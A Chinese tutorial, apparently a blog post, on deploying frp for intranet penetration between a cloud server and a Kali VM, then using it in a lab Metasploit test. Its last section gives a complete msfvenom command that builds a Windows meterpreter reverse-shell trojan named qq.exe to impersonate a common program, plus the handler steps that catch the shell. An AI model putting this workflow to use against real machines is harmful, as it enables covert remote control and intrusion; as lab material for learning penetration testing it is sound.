# 准备

  • frps 部署机。
    • 要求:拥有 公网 IP (例如 VPS、云服务器等等)
    • 本文选用 Ubuntu 18.04.6 云服务器
  • frpc 客户机。
    • 要求:能访问互联网
    • 本文选用 Kali Linux 2022 虚拟机
  • frp 的 Github 项目地址:fatedier/frp

# frps(云服务器)

# 下载安装

Github 项目 上找到最新的 releases :
image-20230426011312770

  1. 在 云服务器 终端上下载: wget https://github.com/fatedier/frp/releases/download/v0.41.0/frp_0.41.0_linux_amd64.tar.gz
    image-20230426011322302
  2. 解压缩 下载的文件: tar -zxvf frp_0.41.0_linux_amd64.tar.gz
    image-20230426011327257
  3. 进入 解压缩的文件夹: cd frp_0.41.0_linux_amd64/
  4. 因为配置的是 frps ,可以 删除 文件夹内的 frpc 相关文件,防止后续修改出错: rm -rf frpc*
    image-20230426011332064

# 编写 frps 配置文件

vim frps.ini
内容如下:
(不想要监控页面的话,删除对应配置所在 行 即可)

[common]
bind_port = 7777          # frps和frpc的通讯端口
dashboard_port = 9999     # web监控页面的端口
dashboard_user = Sycamore # 登录监控页面的用户名
dashboard_pwd = 123456    # 登录监控页面的密码

如图所示:
image-20230426011338410
(需要 云服务器 打开 对应端口:7777、9999)

# 运行

相关命令 基本上 应当在 frp_0.41.0_linux_amd64 文件夹 下执行~

  • 命令行输入: ./frps -c frps.ini
    • [注意]:关闭命令行窗口,或是停止执行该命令,就会 退出
  • 后台运行: nohup ./frps -c frps.ini >/dev/null 2>&1 &
    • 因为通常不会 关闭云服务器,所以 后台运行 就足够了;
    • 当然也可以 开启自启动,详情见 frpc 的内容,对应命令改个符号就行~

# frpc(Kali 虚拟机)

image-20230426011342973

# 下载安装

Github 项目 上找到最新的 releases

步骤与 frps 的几乎相同,区别 是:

  • 对象变成了 Kali 虚拟机,而不是 云服务器
  • 以及最后一步 删除的是 frps:
    4. 因为配置的是 frpc ,可以 删除 文件夹内的 frps 相关文件,防止后续修改出错: rm -rf frps*

# 编写 frpc 配置文件

作为一款 内网穿透 工具,frp 穿透了内网之后,还需要使用 其他手段(ssh)
和外网建立交互,所以 配置文件 中会存在 [ssh] 配置。

vim frpc.ini
内容如下:

[common]
server_addr = 106.15.52.194
server_port = 7777

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6666
use_compression = true

相关 解释 如图:
image-20230426011350366

# 运行

相关命令 基本上 应当在 frp_0.41.0_linux_amd64 文件夹 下执行~

  • 命令行输入: ./frpc -c frpc.ini
    • [注意]:关闭命令行窗口,或是停止执行该命令,就会 退出
  • 开机自启动:
    • 服务目录 新建并编辑 文件: vim /lib/systemd/system/frp.service
    • 填入以下内容:
      [Unit]
      Description=Frp Client Service
      After=network.target remote-fs.target nss-lookup.target
      Wants=network.target
      
      [Service]
      Type=simple
      ExecStart=/root/frp/frpc -c /root/frp/frpc.ini
      Restart=always
      RestartSec=20s
      
      [Install]
      WantedBy=multi-user.target
      
    • 启动 frpc 服务: systemctl start frp
      (最后的 frp 名称取决于上一步新建的文件名 frp.service )
    • 打开 frpc 服务自启动 systemctl enable frp
      [注意]:
      • 如果要重启应用: systemctl restart frp
      • 如果要停止应用: systemctl stop frp
      • 如果要查看 frpc 的日志: systemctl status frp
      • 权限不够,记得加 sudo

服务文件 重要内容注释 如下图:
image-20230426011356634

# SSH 连接测试

  • 命令行 ssh root@x.x.x.x -p 6666
    (root 用户登录到 云服务器 x.x.x.x 的 6666 端口)
  • Xshell 创建新会话,具体内容如下:
    image-20230426011410382image-20230426011417120
    <br>
    Xshell 连接成功:
    image-20230426011424294

# msf 渗透攻击测试

双击打开 刚刚建立的 Xshell 新会话( frp ).

# frpc 添加新配置

输入命令: vim frpc.ini ,编辑 frpc 配制文件,
在文件末尾 添加:

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 2333 

配置内容的 含义 与 [ssh] 类似,解释如图:
image-20230426011431000

# msf 生成木马

与连接 本地的 shell 生成木马不同,
因为我们要使用 frp 穿透内网 连接的 shell ,去 监听木马反弹的 shell,
所以我们 生成木马 时,设置的 LHOST、LPORT 应当是 云服务器 的对应数据。
(直接用内网测试的时候,LHOST、LPORT 填的是 本地虚拟机 的相关数据)

用 msf 生成 windows 系统的 反向 shell 木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333 -f exe > qq.exe
image-20230426011437323
成功生成木马文件:qq.exe

# msf 监听反弹的 shell

(确定 frps 、frpc 服务均已在后台运行)
(事先上传 qq.exe 到测试的靶机,本文用 Win7_x64 虚拟机替代)

关于上传:Kali 虚拟机 开启 Apache2 服务,Win7_x64 虚拟机 内网访问下载:

  1. msfconsole
    • 打开 msf
  2. use exploit/multi/handler
    • 选择使用的 exploit
  3. set PAYLOAD windows/x64/meterpreter/reverse_tcp
    • 设置 PAYLOAD (生成木马时使用的)
  4. set LHOST 127.0.0.1
    • 设置 LHOST 为本地 IP
  5. set LPORT 4444
    • 设置 LPORT 为转发的本地端口 4444
  6. run
    • 开始监听

(先让 msf 开始监听,再双击运行上传的木马文件)

演示如图所示:

  • 双击 运行木马:
    image-20230426011447735
    <br>
  • msf 开始监听 & 成功获得 meterpreter shell:
    image-20230426011457351